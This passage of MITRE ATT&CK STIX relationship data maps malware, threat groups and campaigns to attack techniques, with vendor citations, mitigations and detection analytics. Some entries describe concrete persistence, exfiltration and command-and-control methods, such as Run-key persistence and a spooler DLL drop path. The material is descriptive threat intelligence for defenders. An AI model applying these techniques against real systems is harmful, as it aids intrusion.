2019)\t","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b1fb532-84e3-4f77-962c-038c798d239e","type":"relationship","created":"2019-06-28T14:34:59.118Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2019-07-16T17:12:00.606Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) can be configured to automatically exfiltrate files under a specified directory.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b2026c2-eb71-4c78-825d-5c4d0a747741","type":"relationship","created":"2019-06-13T19:12:07.305Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.","url":"http://blog.morphisec.com/security-alert-fin8-is-back","source_name":"Morphisec ShellTea June 2019"}],"modified":"2020-03-18T20:35:29.673Z","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can gather user names.(Citation: Morphisec ShellTea June 2019)","relationship_type":"uses","source_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b26c652-7f0e-41f1-810a-7e6c24f2bfdb","type":"relationship","created":"2019-06-14T16:45:33.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.","url":"https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/","source_name":"Rapid7 KeyBoy Jun 2013"}],"modified":"2019-06-30T22:48:21.827Z","description":"[KeyBoy](https://attack.mitre.org/software/S0387) installs a service pointing to a malicious DLL dropped to disk.(Citation: Rapid7 KeyBoy Jun 2013)","relationship_type":"uses","source_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b2ccd03-b6ad-4125-a05d-851ebf353bb5","type":"relationship","created":"2019-04-24T20:48:39.734Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2020-03-20T02:17:36.997Z","description":"[jRAT](https://attack.mitre.org/software/S0283) has command line access.(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b2cdb6b-c23c-4792-8cfb-8c4d9279a186","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye admin@338","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"}],"modified":"2020-03-17T00:28:19.707Z","description":"[BUBBLEWRAP](https://attack.mitre.org/software/S0043) can communicate using HTTP or HTTPS.(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"malware--123bd7b3-675c-4b1a-8482-c55782b20e2b","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b2e0b6e-10ac-42c0-8d77-3ffc9cc654a7","type":"relationship","created":"2022-01-05T22:19:18.366Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"modified":"2022-01-05T22:19:18.366Z","description":"[KONNI](https://attack.mitre.org/software/S0356) has stored collected information and discovered processes in a tmp file.(Citation: Malwarebytes Konni Aug 2021)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2b31cfdc-efab-421a-bc37-ea9eaa156fc8","created":"2024-06-27T19:19:22.407Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-27T19:31:36.198Z","description":"[LunarLoader](https://attack.mitre.org/software/S1143) can verify the targeted host's DNS name which is then used in the creation of a decyrption key.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--6490afef-d88e-4e2b-b9d9-a472508ca59d","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b33ca7e-3b33-44db-9479-1bba85e76902","type":"relationship","created":"2020-03-16T16:06:08.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-16T16:06:08.420Z","relationship_type":"revoked-by","source_ref":"attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b364611-0df2-4f12-9122-089ec49ec2e6","type":"relationship","created":"2021-11-30T20:02:19.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-11-30T20:02:19.628Z","description":"[Gelsemium](https://attack.mitre.org/software/S0666) can drop itself in C:\\Windows\\System32\\spool\\prtprocs\\x64\\winprint.dll to be loaded automatically by the spoolsv Windows service.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b36db33-4f97-4228-bcca-4f453d1bd533","type":"relationship","created":"2020-02-04T13:42:40.694Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://support.microsoft.com/kb/2962486","description":"Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved January 28, 2015.","source_name":"Microsoft MS14-025"}],"modified":"2021-03-16T12:53:42.523Z","description":"Remove vulnerable Group Policy Preferences.(Citation: Microsoft MS14-025)","relationship_type":"mitigates","source_ref":"course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2b3cf66b-29d9-4251-b170-977def2692ad","created":"2023-09-27T20:19:56.523Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:34:11.724Z","description":"[NightClub](https://attack.mitre.org/software/S1090) can use multiple native APIs including `GetKeyState`, `GetForegroundWindow`, `GetWindowThreadProcessId`, and `GetKeyboardLayout`.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2b3dc227-2ce1-41fa-8d1c-4c0d3685258d","created":"2023-02-16T18:44:05.505Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T19:57:39.721Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) has established persistence via the `Software\\Microsoft\\Windows NT\\CurrentVersion\\Run` registry key and by creating a .lnk shortcut file in the Windows startup folder.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b454322-5ad5-449f-86c9-092867acd51c","type":"relationship","created":"2019-09-16T19:41:10.145Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Security Intelligence More Eggs Aug 2019","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."}],"modified":"2020-03-30T03:00:07.221Z","description":"[More_eggs](https://attack.mitre.org/software/S0284) has used an RC4-based encryption method for its C2 communications.(Citation: Security Intelligence More Eggs Aug 2019)","relationship_type":"uses","source_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b4a8be2-8403-43d4-addd-79c504e3dec8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Remsec IOCs","description":"Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.","url":"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"},{"source_name":"Kaspersky ProjectSauron Full Report","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"},{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"modified":"2020-03-11T17:45:33.570Z","description":"[Remsec](https://attack.mitre.org/software/S0125) is capable of deleting files on the victim. It also securely removes itself after collecting and exfiltrating data.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Full Report)(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2b4b6861-7143-4155-aaac-60213a314abd","created":"2022-10-13T14:46:34.712Z","revoked":false,"external_references":[{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:46:34.712Z","description":"For [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors used Nullsoft Scriptable Install System (NSIS) scripts to install malware.(Citation: ESET Operation Spalax Jan 2021)","relationship_type":"uses","source_ref":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b4bd264-4c8b-4303-9c54-113284c9e9a0","type":"relationship","created":"2021-09-30T13:20:52.078Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT QakBot April 2021","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."}],"modified":"2021-10-12T18:16:40.808Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can identify whether it has been run previously on a host by checking for a specified folder.(Citation: ATT QakBot April 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2b55e889-243f-412b-b5cd-fa1d59f1a999","created":"2024-07-25T20:43:29.784Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T20:43:29.784Z","description":"[MgBot](https://attack.mitre.org/software/S1146) includes modules for identifying local administrator accounts on victim systems.(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"malware--a36eedea-9523-4abb-96e8-205f171ee763","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b57191c-74f2-4e65-9383-75d3c4c7ac4b","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Monitor for common formats of RTLO characters within filenames such as \\u202E, [U+202E], and %E2%80%AE. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2b5899fd-7368-49c4-966a-8ebc3aa76d92","created":"2024-08-20T16:47:17.673Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T16:47:17.673Z","description":"Monitor M365 Audit logs for TeamsSessionStarted Operations against MicrosoftTeams workloads involving suspicious ClientIPs and suspect accounts (UserId).\n\nAnalytic 1 - Sessions initiated from unusual IP addresses, high volume of sessions from a single account, sessions at unusual times\n\n \"`index=\"\"m365_audit_logs\"\" Operation=\"\"TeamsSessionStarted\"\"\n| stats count by UserId, ClientIP, CreationTime\n| where ClientIP!=\"\"expected_ip\"\" OR UserId!=\"\"expected_user\"\"\n| sort by CreationTime\"","relationship_type":"detects","source_ref":"x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f","target_ref":"attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2b5965fe-b178-4c03-91af-942491c79302","created":"2020-05-13T13:58:12.493Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike Grim Spider May 2019","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.648Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has installed [TrickBot](https://attack.mitre.org/software/S0266) as a service named ControlServiceA in order to establish persistence.(Citation: CrowdStrike Grim Spider May 2019)(Citation: Mandiant FIN12 Oct 2021) ","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2b5af448-59a1-4888-a05f-aee6105872a5","created":"2020-03-17T01:49:09.432Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-03T21:50:43.287Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used IRC for C2.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b6195a4-72f8-4d31-9824-a7c8a7018134","type":"relationship","created":"2021-01-13T21:54:29.675Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Pawn Storm Dec 2020","url":"https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html","description":"Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."}],"modified":"2021-04-19T21:12:35.730Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has routed traffic over [Tor](https://attack.mitre.org/software/S0183) and VPN servers to obfuscate their activities.(Citation: TrendMicro Pawn Storm Dec 2020)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2b6b93eb-6664-4a70-82a9-e56a416b9e61","created":"2022-09-15T17:29:22.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-05T15:57:20.583Z","description":"During [CostaRicto](https://attack.mitre.org/campaigns/C0004), the threat actors used a layer of proxies to manage C2 communications.(Citation: BlackBerry CostaRicto November 2020) ","relationship_type":"uses","source_ref":"campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b6da092-7380-4bd3-bd4c-f136a5b9b4cc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Alienvault Sykipot DOD Smart Cards","description":"Blasco, J. (2012, January 12). Sykipot variant hijacks DOD and Windows smart cards. Retrieved January 10, 2016.","url":"https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards"}],"modified":"2020-03-16T17:50:28.614Z","description":"[Sykipot](https://attack.mitre.org/software/S0018) is known to contain functionality that enables targeting of smart card technologies to proxy authentication for connections to restricted network resources using detected hardware tokens.(Citation: Alienvault Sykipot DOD Smart Cards)","relationship_type":"uses","source_ref":"malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9","target_ref":"attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2b7227b7-70ad-43b8-8f2e-ec0d9c5b8929","created":"2024-03-05T19:50:35.349Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Volexity Ivanti Global Exploitation January 2024","description":"Gurkok, C. et al. (2024, January 15). Ivanti Connect Secure VPN Exploitation Goes Global. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/15/ivanti-connect-secure-vpn-exploitation-goes-global/"},{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"},{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-06T20:04:11.152Z","description":"(Citation: Mandiant Cutting Edge January 2024)(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)(Citation: Volexity Ivanti Global Exploitation January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"malware--a5818d36-e9b0-46da-842d-b727a5e36ea6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b789109-44c7-4195-8df8-50b1e09b1a69","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-20T21:29:27.716Z","description":"[SLOWDRIFT](https://attack.mitre.org/software/S0218) uses cloud based services for C2.(Citation: FireEye APT37 Feb 